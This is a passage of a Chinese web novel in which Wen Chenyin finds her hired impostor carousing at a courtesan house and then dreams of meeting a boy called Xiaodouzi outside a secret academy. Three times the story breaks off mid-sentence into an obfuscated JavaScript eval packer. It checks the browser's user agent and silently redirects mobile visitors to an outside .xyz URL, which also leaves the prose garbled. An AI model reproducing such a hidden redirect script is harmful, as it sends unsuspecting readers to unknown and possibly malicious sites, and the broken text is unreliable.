午夜亥时,地处城南的福寿大街已经到了一天之中最热闹的时候。 灯火最盛的莳花馆内,也已经欢声笑语地闹成了一片。 无数商贾贵胄不惜一掷千金,为的就是在这人间仙境般的温柔乡里博美人一笑。 而女人们也毫不吝啬地将自己的笑容化作蜜糖,丝丝点点地融化在客人们的心坎上。 温沉吟把自己裹在黑色的披风里,从一个个忙着和客人打情骂俏的女子中疾步走过。 萦绕在耳边的欢声笑语越来越响,而她的表情却越来越凝重。 在莳花馆的大厅中央站定后,她抬眼看了一圈,却始终没有见到马小六的身影。 片刻之后,一个从她进门起就在偷眼打量着的中年妇人满脸堆笑的迎了上来:“这位姑娘,请问您大驾光临,是有什么需要吗?” 莳花馆中做的都是男人的生意,对方的这番话显然是意带嘲讽。 温沉吟凝了凝神,勉强压抑住满心的怒气:“不知道柳姑娘如今身在何处,我想见一下今晚点了她的那位客人。” 那妇人显然是把她当成因丈夫出门玩乐,而上门找茬泄愤的角色,脸上虽然还挂着笑,但口气中却明显都是推诿之意:“这位姑娘,您可能还不知道,柳姑娘今儿身体不适,早早就已经歇下了。您要找的客人,大概也已经不在咱们这了……” 她顿了顿,口气中多了几分挑衅:“不过咱们隔壁的庆春坊、采月楼都正热闹着,姑娘要是实在不放心,不妨过去瞧瞧?” 话音刚落,早已满心憋屈的卫宁已经疾步向前,一边用力捏住了她的手腕,一边低声警告道:“小姐问你的话,你最好老实回答。若是再在这打马虎眼,别怪我对你不客气!” 那妇人骤然吃痛,一时间连脸色都变了,龇牙咧嘴地似是就想要呼救。 然而当她的目光落在卫宁腰间的佩刀上时,终究还是忍耐了下来,只是低声求饶道:“这位大人你就别为难奴家了。柳姑娘今日的确身子不适,想要早些歇下。只是有位裴公子,才华横溢、又情真意切,让柳姑娘心生知己之感,因此才会特意设下酒宴,邀了裴公子一同赏琴品乐来着……” 听闻马小六居然公然以“裴公子”的身份在风月场内快活逍遥,温沉吟不由得牙关紧咬,对方那一句句溢美之词犹如嘲讽一般,更是让她忍不住冷笑出声:“所以那这位裴公子如今究竟在哪里?” 妇人犹豫了一下,终究还是小小声地给出了答案:“就在后院的落玉阁……” 比起乌烟瘴气的大厅,莳花馆的后院却是别有一番天地。 鸟啼不断的竹林间,一条清澈的小溪蜿蜒而过。 沿着小溪流动方向,几条干净的石子路四下延展着,通向一栋栋清幽的小屋。 跟随着叮当做响的琵琶声,温沉吟一路从密密的竹林间穿过,最终在那栋名为“落玉阁”的小屋前停下了脚步。 尚未想好下一步该怎么办,屋内的琵琶声由急转缓,然后渐渐停了下来。 紧接着,一个女子的声音轻轻响起:“公子花下重金前来品乐,却一直神游天外,愁眉不展,只顾着饮酒。不知是小女子的琴技不佳,未曾让你满意,还是有什么烦心事?” 随着那清婉柔媚的声音传进耳朵,温沉吟心下一颤,缓步走到小窗边,凝神向屋内看去。 春意盎然的房间内,一个怀抱琵琶的女子坐在右首的位置,一颦一笑间皆是风情,想来正是声名正盛的头牌乐妓柳行云。 在她的正对面,那个拿着酒壶,歪歪扭扭倚着酒桌的男人,赫然正是马小六。 听到对方发问,马小六重重地叹了一口气,像是被人抽了脊梁骨一般的后背,终于也跟着挺直了些:“烦心事倒也谈不上,就是姑娘不仅人长得美,琴弹得好,而且还那么善解人意。一想到今夜过完,下次见到姑娘还不知是什么时候,我就觉得实在是舍不得走……” 柳行云嫣然一笑,那一刻,满屋的烛火似乎都因为她的笑容而黯然失色:“小女子在这帝都之内也没有其他去处,就只在这莳花馆里住着。公子若是得空了,随时过来便是,又何必为此忧心呢?” “哪有那么容易哦!” 马小六又是一声哀叹,口气越发愁苦:“之前还好说,虽然是穷了点,可想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221105|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去哪就去哪,要多自由有多自由!如今银子倒是不愁的,可每天都被人看得死死的,要出门一趟哪有那么容易?” 柳行云似是误会了他的意思,很快便柔声安慰道:“公子是已经娶了夫人吧?想来夫人也是在意公子,才会看得紧了些。得妻如此,本是幸事,公子应该觉得高兴才是,怎么还抱怨起来了?” “她是挺关心我的,不过原因可不是你想象的那样……” 马小六低声哼了哼,声音里都是惆怅,然而下一秒,他将酒壶往桌上重重一砸:“算了算了,既然都出来了,就不想那些不开心的事了。说起来,你们这里还有像你这般漂亮又有趣的姑娘吗?” 柳行云想了想,把琵琶交到了身旁的侍女手里,起身走到他身旁:“公子是嫌只听琵琶太枯燥了吗?莳花馆里倒是有很多懂得吟诗作画的姐妹,定能让公子开心。就是不知道公子今晚是否要留宿,我也好提前请为公子安排……” 马小六嘿声一笑:“吟诗作画倒是不必了,你且看看你的小姐妹中有没有会掷骰子玩牌九的,可以叫过来一起玩玩。至于留宿的事……我们到时候看看情况再说?” 柳行云闻言,善解人意地点了点头,随即朝身后的侍女低声交代了几句。 那侍女听完交代,低低说了声“是”,随即快步走向房门。 刚把门拉开,她却像是被吓到一般,瞬间后退了半步,紧接着便低低惊呼了起来:“你是谁啊?站在门前做什么?吓了我一跳……” 听到门口有动静,马小六有些好奇的扭了扭头。 目光落在温沉吟脸上时,他神情一怔,赶紧手忙脚乱地站了起来:“哎呀!怎么是你啊……你怎么找到这里来了?这大晚上的,路又不好走,你要是有什么要紧事,随便安排个人来找我不就好了?” 一番话说完,眼见温沉吟只是面无表情的站在那,似是根本不屑于和他对话,柳行云的目光里却多出了几分探究,马小六似是觉得丢了面子,声音也跟着大了起来:“你什么意思嘛?我在家憋了那么久,出来玩玩怎么了?而且我也就是听听曲,喝喝酒而已,又没做什么对不起你的事,你就这么气冲冲地找上门来,是打算要干嘛?” 在他的虚张声势的叫嚣声中,温沉吟原本怒气满盈的一颗心一点点地凉了下去。 那一刻,她甚至开始怀疑,自己找这样一个没脸没皮的无赖混混来冒充裴瑾,究竟是不是做错了。 若是她真的嫁去大凉,裴瑾的行踪和涧云峡一战背后的真相或许会因为无人追查,而将永久成谜。 但即便如此,裴氏一族的声誉也不会因为这个小混混的胡作非为而变得一地狼藉。 怔仲之间,卫宁似乎也已经忍无可忍,脸色一沉,就已经踏步向前,像是准备抓他回去。 马小六见势不妙,赶紧缩着脖子躲在了柳行云身后,嘴里还不忘嚷嚷着:“我可提醒你,千万别动手啊!我对你家小姐还有用,真把我打死了,你家小姐就得嫁去大凉了!” 听他死到临头还在胡言乱语,卫宁只觉得怒火更胜,恨不得立马就把他抓住,狠狠揍上一顿。 还没来得及动手,温沉吟却已经将身一转,轻声叮嘱道:“卫宁,算了。咱们回去吧。” “回去?” 卫宁怔了怔,只觉得不甘心:“那他呢?” “既然他喜欢呆在这,那便随他吧!” 一句话说话,温沉吟已经踏步向前,再也没有回头往屋内看上一眼。 卫宁见状,也只能恨恨地瞪了马小六一眼,快步跟了上去。 等到两人的身影彻底消失在竹林中后,一直冷眼旁观的柳行云才满是玩味地将目光落在了马小六身上:“夫人既是走了,公子还打算继续留下吗?” 马小六呆立当场,看着温沉吟消失的方向,原本满是浮夸的一张脸上,表情已经变得格外复杂。 预想中的风暴并没有出现,温沉吟甚至连一句重话都没有对他说,就抽身离去。 然而离去之前,对方眼神中的嫌恶和失望,却让他的心被深深的刺痛了。 许久之后,他终于收回了目光,看向了眼前眉目含笑的柳行云,口气里也带上了几分无奈:“我怎么觉得她这一走,你好像很高兴?” “那是自然。” 柳行云依旧微笑着,一只手轻轻抚上了他的脸。 然而蕴藏在眼底的温柔与深情,却与平日里风流多情,又眼高于顶的妓馆头牌判若两人:“你在这胡言乱语地折腾了这么久,不就是盼着早点把她气走?如今温小姐这一走,今夜就不会有人再来打扰我们了。” 13. 初遇 当天夜里,温沉吟因为心烦意乱而整夜辗转,却在晨曦初现时做了一个梦。 梦中场景如走马灯一般不断切换着,但每一幕都和一个少年有关。 最初的那一幕里,她还只是个十五岁的少女。 但因母亲早逝,父亲又忙于公务,鲜少在府,她已经像个大人一般,很自觉地担负起了照顾弟弟的责任。 因此,当她发现发现年幼的温珩忽然被父亲送离温府,此后每隔十天半个月才会回一次家,一直像小糯米团子一样白嫩娇贵的身体上也多出了不少伤后,不由得满心警惕了起来。 某日趁四下无人之际,她忍不住逮着幼弟打听了一番。 然而向来乖顺的温珩却面露难色,无论她如何探问也好,都始终紧咬牙关,没有告诉她答案。 为了弄清真相,时至温珩再次离家时,温沉吟以去寺庙祈福为由,早早出了家门。 紧接着,她支走了随侍的婢女,换上一套寻常少年的装束,守在了温府门口。 待到温珩出门后,她迅速跳上早已安排好的马车,一路尾随着跟了过去。 直到大半个时辰之后,眼见温珩纵身下马,敲开了一栋院子的大门,她才赶紧跟着也跳下了马车。 那是帝都近郊一处青砖墨瓦的小院子,周边花树环绕,流水淙淙,环境看上去十分雅致。 从外表看,大概是城里的哪个有钱人为了远离喧嚣,用来修身养性的僻静之所。 绕着院墙走了几圈后,温沉吟很失望地发现,这栋小院虽然没有专人守备,但是想要进去,却也没那么容易。 除了像温珩那样正大光明地敲门之外,大概就只有翻墙入内一条路。 有了这个认知后,她绕到了小院的后方,卯着力气爬上了一颗靠墙生长的柳树。 等她好不容易地爬上了树顶,想要跳上围墙,却骤然惊觉院墙的主人大概是对试图翻墙入内的窃贼早有防范,墙顶之上竟是密密麻麻地倒插着许多锋利的铁刺,几乎没有地方能够落脚! 无奈之下,她正打算从树上溜下来再另想它法,不远处地草堆里却忽然冒出了轻轻地一声笑。 温沉吟心下一惊,赶紧抬眼朝着草堆的方向望去。 几乎同时,一个和她年纪相仿的少年,也悠悠然地伸了个懒腰,从草堆里站了起来。 自幼在燕国帝都长大,温沉吟见过太多粉琢玉砌的世家公子。自家的弟弟更是因为样貌俊美,自小就被人盛赞。 可是眼前的少年鼻若悬胆,眼似辰星,一脸似笑非笑的模样,竟是让她不自觉地愣了愣神。 然而一想着自己刚才爬树时的狼狈模样都被对方看在了眼里,她只觉得又羞又恼,忍不住低声呵斥道:“谁在那?是哪里来的小毛贼??” “你是在我说话吗?” 少年脸上挂着笑,口气里却是显而易见的嘲弄:“这位朋友,要不咱们随便找个人来评评理,咱两现在的样子,究竟谁像小毛贼?” 对方一副有恃无恐的模样,到像是真不怕把人给招来。 温沉吟毕竟心有顾忌,只能放软了态度:“你若不是小毛贼,在这鬼鬼祟祟地干什么?” “晒太阳啊!还能干什么?难不成我还能未卜先知,在这欣赏你爬树不成?” 少年嘿声笑着,缓步走到了树下:“怎么着?想偷摸着翻墙进去啊?现在发现进不去了,傻眼了吧?” 温沉吟被他那幸灾乐祸的表情噎到了,忍不住狠狠地翻了个白眼:“我自己的事情,不劳你费心!” “话可不能这么说,大家相识一场,怎么着也是缘分不是么?” 对于她的恶劣态度,少年并无计较之意,眼睛朝着她的方向滴溜溜地转了一圈,便很快表示:“你想进这院子又不想被人发现,其实也不是什么难事……要不这样吧,你叫我声哥哥,我就带你进去!” 身为朝臣之女,温沉吟平日里哪里被人这样调戏过,此刻见他一脸轻薄,立马脸色一沉:“你若是再胡言乱语,小心我割了你的舌头!” “干嘛这么瞧不起人?叫我一声哥哥你很委屈么?” 见她脸有怒意,少年撇了撇嘴,随手捡起了一颗小石子:“你若不想叫那便不叫吧,就是后面遇到什么麻烦事,你可别来求我。” 温沉吟见状,只当他是要用石子扔自己,闹出点动静来。 情急之下,她也无心再和对方做口舌之争,一心只想赶紧下树。 然而心情慌乱之下,她的动作也跟着乱了章法,脚下一个踩空,竟是直直从树上摔了下来。 电光火石之间,少年像是也有些惊了,神色一凌,立马朝着她下落的方向飞奔了过来。 片刻之后,随着“咚”的一声响,少年已经身体后仰,四仰八叉地摔在了地上。 温沉吟虽说也因从高处坠落而头晕目眩,但身体却奇迹般地没有感觉太疼。 片刻之后,等她彻底回过神来,才发现自己竟被那少年牢牢地抱在了怀中。 目光相触的那一瞬,对方有些慌乱地松开了手,看向她的目光又是震惊,又是诧异,一直嬉笑着的脸上,居然还染上了一抹红。 温沉吟不明就里,只当他是摔伤了哪里,一时间连方才的仇怨也顾不上了,赶紧促声问道:“你怎么了?是伤到哪里了吗?” “没……” 少年这才像是回过神来,讪讪地笑了笑。 过了一阵,他像是忍了半天终于没忍住,小心翼翼地再次开口:“那个……原来你是个姑娘啊?” 温沉吟怔了怔,一时间也有点诧异。 她自幼为了方便偷溜出门,时常做男装打扮,早已是驾轻就熟。 如今这副装扮,她自认毫无破绽,也不知道对方是怎么看出来的。 惊诧之间,她忽然想到了对方回神之后,从她胸前匆匆收回去的手,一时间脸也跟着红了起来。 为了避免尴尬,她只能强行装出一副凶悍的模样:“是又怎么样?你是想和我动手吗?” “怎么会?” “你不想和我动手,刚才捡石头干什么?” “你那么凶,又不愿和我说话,我不是只能去河那边打水漂吗?结果你疑神疑鬼的,把我也连累了……” 几句闲聊之后,少年像是放松了下来,重新恢复了那股子精灵古怪的劲儿:“不过话说回来,你干嘛想翻墙进这个院子啊?是想来偷学本事的吗?” “学本事?学什么本事?” “这地方叫荟英堂,是几个挺有本事的大叔专门用来教一些公子哥念书习武学本事的地方,难道你不知道?” “荟英堂?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221106|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温沉吟暗中琢磨了一下,倒是真的有些惊到了。 大燕开朝以来,一直国势强劲,即便周边列国虎视眈眈,挑衅不断,但在一代代贤明帝君和忠臣良将的共同努力下,始终都以雄国之姿傲视四方。 时至武曜帝魏栩明登基,文有以太子太傅尉迟上恭为代表的一众贤臣尽力辅佐,武有以虎贲将军裴行州为代表的中坚力量上马平天下,国力之强,一时无两,除庆国可勉强比肩外,几乎再无国家可与之抗衡。 只是随着魏栩明进入暮年,身体状况每况愈下的同时疑心也渐渐重了起来,对于朝臣的管理开始沉迷于制衡之术。 外加在此期间,周边小国为了各自利益,争相进献了不少美人,让魏栩明的许多决策开始受枕边风的左右。 随着朝堂中的猜忌之风越演越烈,诸多为大燕盛世立下过汗马功劳的忠臣良将或是遭贬斥,或是被抄家,风云翻涌之间,大燕朝堂竟是渐渐陷入了无人可用的境地。 眼见如此,太子太傅尉迟上恭与裴行州商议之后共同设立了荟英堂,为燕国的未来打造可用之才。 虽然这一切的出发点是为了大燕能够日久昌盛,但以教导之名与朝廷重臣的子嗣来往过密,难免会引发魏栩明的猜忌。 为了避免结党之嫌,荟英堂的存在十分低调,前去学习的朝臣子嗣更是需要经过各方面的层层筛选。 除了资质方面的要求极高外,更是要求行事低调,不允许大肆张扬。 也正因如此,面对温沉吟的询问时,温珩才会表现得如此为难。 只是对于年幼的温沉吟而言,关于荟英堂背后那些盘根错节的背景她并不十分清楚,但在意识到了自己的父亲放着府中请来的教书先生不用,却专门把温珩送到了这里来读书,而有幼弟身上的伤势和一日千里的长进也皆源自于此后,她在惊诧之余,也不禁多了几分好奇。 此刻面对对方的询问,她不愿暴露自己的真实想法,于是便云淡风轻地点了点头:“我自然知道,所以才会想要进去看看。” “哎哟!你说真的啊?” 少年像是听到了什么天大的笑话一样,啧啧叹了起来:“你知道这院子里的大叔们教的都是些啥吗?武功骑射之类的东西就不提了,那些安邦治国,行军打仗的本事,你一个小姑娘听来做什么?” “我为何不能听??” 温沉吟被他那满脸不屑的模样激怒了,刚刚建立起来的一点好感也跟着烟消云散:“古有花木兰代父从军,有穆桂英挂帅杀敌,有梁红玉亲执桴鼓,有宣太后平季君之乱……男人可做之事,女子一样能做!!” “是是是……你说的没错。是我见识浅薄,小瞧你了!我向你赔罪” 少年认错的态度倒是极快,弯眼一笑后,竟然真的躬身向她行了个礼。 礼毕之后,他的目光也中多出了明显的欣赏之色:“既然你这么想进去,那跟着我走就是了,我有办法带你进去。” “真的?” 温沉吟虽然已经因为他主动赔礼的态度不再生气,但对他的承诺依旧心存疑虑:“你有什么法子?” “你问那么多干嘛,跟我走不就行了?” 少年一脸严肃的点了点头,看向她的眼神更深了些:“至于那声哥哥……你既是害羞不愿叫,那就先欠着好了。” 14. 小豆子 温沉吟原本以为,那少年一副胸有成竹的模样,必然是有什么十拿九稳的好办法,可以将她带入院中。 没想到对方领着她走了一阵后,最后竟是在离那颗柳树不远处的墙角处停下了脚步。 在她开口细问之前,少年已经蹲下身子,将身前那堆半人高的杂草拨开。 紧接着,一个齐膝高的洞口露了出来。 “这是什么?” “谁知道呢?之前大概是个狗洞?我发现以后可是费了几天功夫才挖到这么大,现在也算是便宜你了!” “所以你的意思是……咱们要从这里爬进去?” “那不然呢?” 相较于她一脸震惊的模样,少年却表现得十分淡定:“我已经提前探查过了,这个洞连着的是一个堆放杂物的小院子。那院子平日里很少有人往来,咱们就算大摇大摆地钻进去,也绝对不会被人发现的!” “……” 虽然就眼前的情形而言,这的确算是个可行之法,可是让她像个乡野小子一样偷偷摸摸地钻狗洞,也未免也太不体面了。 少年等了一阵,没见她有所动作,似乎是猜到了她心中的顾忌,忍不住撇了撇嘴:“干嘛?不愿意爬啊?那我可没其他办法了!不过人家也说了,能屈能伸的才是大丈夫,你这种小姑娘连钻个洞都不愿意,以后就乖乖呆在家里,别再到处乱跑啦……” 一番话说完,少年将腰一沉,似乎没打算再离她,想要自己先爬进去。 下一瞬,他的手臂已经被温沉吟拉住了。 少年只当激将法得逞,嘴角勾出了一丝笑意:“怎么了?改变主意了?” 温沉吟却并不理会:“此事晚些再说……我就是想问问你,这个洞你是怎么发现的?洞的那一头究竟是个什么情形,你又为何会探查得那么清楚?” 眼见少年目光闪烁之间,似有躲闪之意,温沉吟越发笃定了自己的猜想:“所以我说你是个小毛贼根本没错!你在这晃悠了这么久,就是准备进去偷东西的!” 少年讪讪地笑了起来,不久前数落她时的那股子嚣张气焰已经消失得干干净净:“如果我真是来偷东西的,你打算怎么样啊?” “自然是送你去官府!” “可我这不是还啥东西都没偷到吗?你送我去官府,也没有证据啊!” “那我就把你送到这院子的主人面前,告诉他们你在院墙那里挖了个洞,随时打算行窃!” “这也不至于吧……我这不是为了你吗?” 少年苦着一张脸,哼哼唧唧地抱怨了起来。 片刻之后,眼见温沉吟依旧一脸严肃,并不是像在开玩笑,他只能认命一般哀声叹道:“好了好了,我也不瞒你了,我的确是想偷偷进去,才会折腾这么多事。至于想进去的原因,其实和你一样,只是想偷偷学点本事罢了……” 听他这么一说,温沉吟心里暗中松了一口气。 虽然在发现对方动机不纯时,她口口声声地说着要送他去见官,但毕竟对方年岁不大,又刚刚救了她一次。 真要因为自己的告发让他坐实了窃贼的名号,那也不是她愿意看到的。 如今听闻对方的种种举动,不过是为了偷学点东西,温沉吟放松之余,也不禁多出了几分怜悯。 但转念之间,想到对方和她见面以来,一直没个正形,她一时间又多了几分怀疑。 “你没骗我?” “哎呀,我骗你做什么?” 少年像是急了,赶紧手舞足蹈地解释了起来:“你仔细想想,我若真是想偷东西,自己一个人偷偷干就完了,干嘛还要带上你这么个拖油瓶,是不是?” “你说谁是拖油瓶?” “这个不重要,重要的是我真的不是来偷东西的!” “好吧……我暂且信你一次。” 仔细想来,对方的解释也算是合情合理。 略加犹豫之后,温沉吟终于放开了他的胳膊:“不过进去之前,你得先告诉我,你叫什么名字,从哪里来?此处甚是偏僻,你是如何知道这院子里面的情形的?” “看看你这人,大家萍水相逢而已,这些事我都还没问你,你怎么到还先问起我来了?” 少年瞪着她,口气里都是怨念:“行吧行吧,既然你这么想知道,我便告诉你就是了。我叫小豆子,打小父母双亡,是一个马行的老板收留了我,所以我从小就是在马行里长大的。前些时候马行的老板死了,铺子也散了,我没地方去,就只能四下里晃悠。不料逛到这附近时,看到很多公子哥经常在这个院子出出进进,我觉得好奇,就找机会进去瞅了瞅,没想到里面居然是个念书学武的地方……” 说到这里,他偷眼看了一下温沉吟的脸色,见她没有要质疑的意思,才继续补充道:“我是想着吧,我这样独自出来闯江湖,又没什么靠山,多学点本事也好,就也想混进去学点东西。没想到里面那些大叔们还挺势利眼,大概是嫌我没权没势又没钱,给了我点吃的就把我轰走了。我看他们不肯留我,就只能自己想法子进去了……” 虽然他说得可怜,温沉吟却没忘记确认细节:“既是如此,你当初是怎么进去的?” “装病呗!” 小豆子嘿声笑着,模样看上去很是得意:“我装作生病,晕在了院子门口,他们就把我抬进去了,一路好吃好喝的让我养着。只可惜好景不长,他们见我总是不好,就请了个大夫,发现我其实也没啥毛病后,就不让我再待下去了……” 一番话说完,他耸了耸肩膀:“我的事可都告诉你了,作为交换,你也该告诉我你是谁吧?” 温沉吟哪会在他面前暴露自己的身份,当即眼睛一翻:“既然你那么聪明,不如自己猜猜看?” 小豆子瞪着她,似是被噎到了一样。 但最终,他也只是嘴角一撇:“你不说就算了,反正也不重要。咱两萍水相逢而已,还不知道以后能不能遇得着呢!” 没等温沉吟再说点什么,他已经将腰一弯,朝着洞的另一头爬了过去。 温沉吟见状也没再耽搁,赶紧俯下身子,跟在了他身后。 从那个破洞钻出去后,眼前果然就是一个堆放着杂物的小院子。 温沉吟还没来得及细看,小豆子已经满脸得意朝着前方一间屋子指了指:“我之前已经观察过了,那些公子哥们平时早晨就在那间屋子里念书,到了下午,就会去前面的院子里习武。你若想偷听,屋角的窗子下面刚好堆了不少木柴,只要往那一蹲,那就铁定不会有人发现了……” 听他越说越起劲,温沉吟忍不住翻了翻眼睛,正打算呛他两句,随着两道脚步声响起,竟是有人冲着他们的方向走了过来。 温沉吟不料忽然会有人到来,下意识就想退回洞口。 可洞口旁尽是杂草,一旦稍有不慎,便会闹出声响被人发现。 犹豫之间,小豆子已经握住了她的手,身子一缩,藏到了一口巨大的水缸之后。 刚把身体藏好,脚步声已经由远及近,在距离他们不远的地方停了下来。 温沉吟不知自己的行踪是否已经被发现,只能屏住呼吸,等着他们下一步的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221107|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动作。 短暂的一阵沉默后,一个熟悉的声音却忽然响了起来:“不知六殿下忽然将我叫出来究竟所谓何事?还请殿下明示。” 温沉吟心下一跳,忍不住偷偷探出头,朝着话音传来的方向看去。 几步之外的地方,两个少年正面对面的站着那里。 个头稍高的那一个,正是她的弟弟温珩,而另一个,被他称作“六殿下”的少年,赫然便是魏弘宣。 魏弘宣贵为皇子,竟会在这么个荒郊小院里出现,实在是很难让人不心生惊诧。 更让温沉吟意外的,温珩和他之间的关系看上去竟是比普通的皇子与臣下要亲近许多。 面对温珩的提问,魏弘宣似乎有些犹豫,但最终还是清了清嗓子:“今日午后要练习骑射,你我之间还会有一场比试,你可知道?” 温珩点了点头:“是……裴将军之前已经说过了。对于这个安排,殿下是有什么顾虑么?” 魏弘宣看着他,声音压得低低地,态度却很是坚决:“我倒是没什么顾忌,只是希望比试之时,你可别故意输给我。” 温珩似乎有些吃惊:“殿下何出此言?我为何要故意输给你?” 魏弘宣长长一声叹:“我身为皇子,旁人自然是不敢得罪,但凡有什么比试,都会故意让着我。可如今在这荟英堂中,大家都是凭本事说话。若你为了保全我的颜面故意输给我,我便是赢了,也不会觉得畅快的……” 魏弘宣的生母在他七岁那年便因病早逝,因此他也并不像其他皇子一般有人照拂。 但身为皇子,身边溜须拍马的人也少不了。 众星拱月的日子过久了,大多数皇子难免会心声骄横,对自己的能力也往往自视过高。 能像他这般保持自醒,并时时要求长进的,也算是十分难得。 没等他把话说完,温珩已经忍不住哧声一笑。 紧接着,他像是意识到了自己的反应太过失礼,赶紧躬身表示:“殿下请放心!我知道殿下虽然贵为皇子,但却绝非性情倨傲之人。之前一再相求,请尉迟大人将你带来荟英堂,必然也不是为了消遣玩乐。今日的比试,我必会竭尽全力,不会让殿下失望,届时还请殿下多多赐教!” “那咱们就这么说定了?” “嗯!说定了!” 听他口气认真,魏弘宣心下一松,终于笑了起来。 紧接着,两个人嘀嘀咕咕地又说了一阵话,才重新转身离开了小院子。 眼见两人离去,温沉吟不由得重重松了一口气。 晃眼之间,却发现小豆子依旧笑意盈盈地紧握着她的手。 羞赧之下,温沉吟脸色一烫,忍不住恨声表示:“你笑什么?” “看你之前胆子挺大的啊,没想到还有害怕的时候……” 小豆子啧啧一声叹,这才不动声色地放开了她的手:“其实你也不用那么紧张,就算真被撞见了,咱们就说是在这院子里打扫的小厮,反正这院子里的杂役仆从也不少,他们这些公子哥未必个个都留意。” 眼见温沉吟红着脸不说话,他将脸凑得更近了些:“怎么了?看你这反应,难不成刚才那两人你认识啊?” 对方的脸贴得实在太近了些,温热的呼吸甚至都已经扑到了她的脸上。 心慌意乱之下,温沉吟只能赶紧否认:“这种出身高贵的公子哥,我怎么会认识?” “噢……是吗?” 小豆子一边笑着,一边满是纵容地点了点头:“行行行!既然你说不认识,那咱们就当不认识好了。” 15. 礼物 温沉吟之所以会一路跟随着温珩来到荟英堂,原本只是想弄清楚,他消失的那些日子,究竟是在干什么。 确认了对方并没有遭遇任何危险,只是换了个地方读书习武之后,她其实并没有打算久留。 只是让她始料未及的是,当她当误打误撞地进了荟英堂,并阴差阳错地在那呆了小半天后,却赫然惊觉小豆子口中的“挺厉害的大叔”竟然是名满天下的当朝帝师尉迟上恭,和万人敬仰的虎贲将军裴行州! 燕国虽然风气开放,并不禁止女子读书习武,但富贵人家中的小姐即便有心求学,通常也是会请来师傅,在府中私下教授。 能像荟英堂的学生这般,获得大燕国内最负盛名的文臣武将亲自授课的机会,实在是可遇不可求。 这不禁让她萌生了想要抓住机会,留在此处偷师学艺的念头。 自从母亲去世之后,温沉吟与父亲之间的关系就变得格外冷淡。 温北堂公务繁忙,日日早出晚归,能在她身边看管的时间也不多,至于温府中的其他人,更是不敢在她面前多事。 因此自那日之后,温沉吟每日都会来到荟英堂,轻车熟路地从那个小洞钻进去,然后躲在书院窗户下的柴堆下旁听。 而小豆子也像是和她达成了默契一般,每次她到来时,都会笑嘻嘻地等在那。 时间久了,除了给彼此打掩护,一起躲在柴堆里听课外,小豆子也会和她分享自己闯荡江湖时候的一些见闻趣事。 那些零零碎碎的事情听得多了,两人之间的关系也在不知不觉间越发亲近了起来。 一个月之后的某次骑射课上,为了向学生们传授了有关战马的知识,裴行州特意将自己的坐骑“破军”带进了荟英堂。 温沉吟久闻“破军”大名,却从未亲眼见过,如今有机会可以一睹风采,自然不愿轻易错过。 几经观察之后,她在小豆子的帮助下翻上院前的屋顶,找了个檐角的位置藏了起来。 刚刚藏好没多久,一众少年们已经神色兴奋地走进了院子里。 不久之后,裴行州也将“破军”牵到了他们面前,一边发出各种号令,一边展示着它的各种技能。 温沉吟趴在屋顶上远远观望着,眼见那匹高大的骏马通体黝黑,气势逼人,面对裴行州的各种指挥,却表现得十分通人性,只觉得又是惊叹,又是艳慕。 看到精彩之处,她忍不住轻声赞道:“我曾听说,破军原本是一匹野马,性情还十分暴躁。裴将军在一次行军的路上遇到了它,见它威风凌凌,费了好大的力气才将它降伏。后来破军便成了裴将军的坐骑,与他一起上战场,所到之处,敌军的马匹都会连连退让。之前我只当是传说而已,如今亲眼得见,才发现这匹马还真是威风得很!” 对于她的夸赞,小豆子却像是不以为然同:“这马虽好,但也不算什么稀罕物!我之前在祁山那里见过一种叫赤睚的小红马,在雪地里奔跑起来像火焰一般,嘶叫起来就连豺狼虎豹都要退避三舍,那才叫真正的威风呢!” 祁山地处燕国边境,山间常年积雪。因为气候太过寒冷,又常有凶悍的野兽出没,所以鲜少有人踏足。 温沉吟闻言只觉得惊异:“祁山如此凶险,你好端端去那里干什么?” 一丝复杂的情绪从小豆子的眼中飞速闪过,然而脸上还是嬉笑着:“我之前不是告诉过你吗,我是在马行里长大的……有一年马行里的老板听说祁山那边有这种红色的野马,不仅体格强壮,还特别有灵性,就带着我一起过去,想抓几匹来配种……” “那你们抓到了吗?” “没有……” 小豆子挠了挠头,有点郁闷的样子:“那一天,我们在山里转了好一阵,却一直没找到那种传说中那种叫赤睚的小红马,但是因为天气实在太冷,我年纪又小,很快就冻得走不动路了。老板嫌带着我碍事,就找了个山洞让我自己呆着,自己出去继续找,结果没想到半途却迷了路,自己也被困住了……” “那后来呢?” 虽然对方此刻就在她面前,一副无病无灾地模样,但想到他那独自一人身在雪山中的险境,温沉吟还是紧张了起来,就连破军的表演也顾不上看了:“你一个人呆在山洞里,可曾遇到了什么危险没有?” 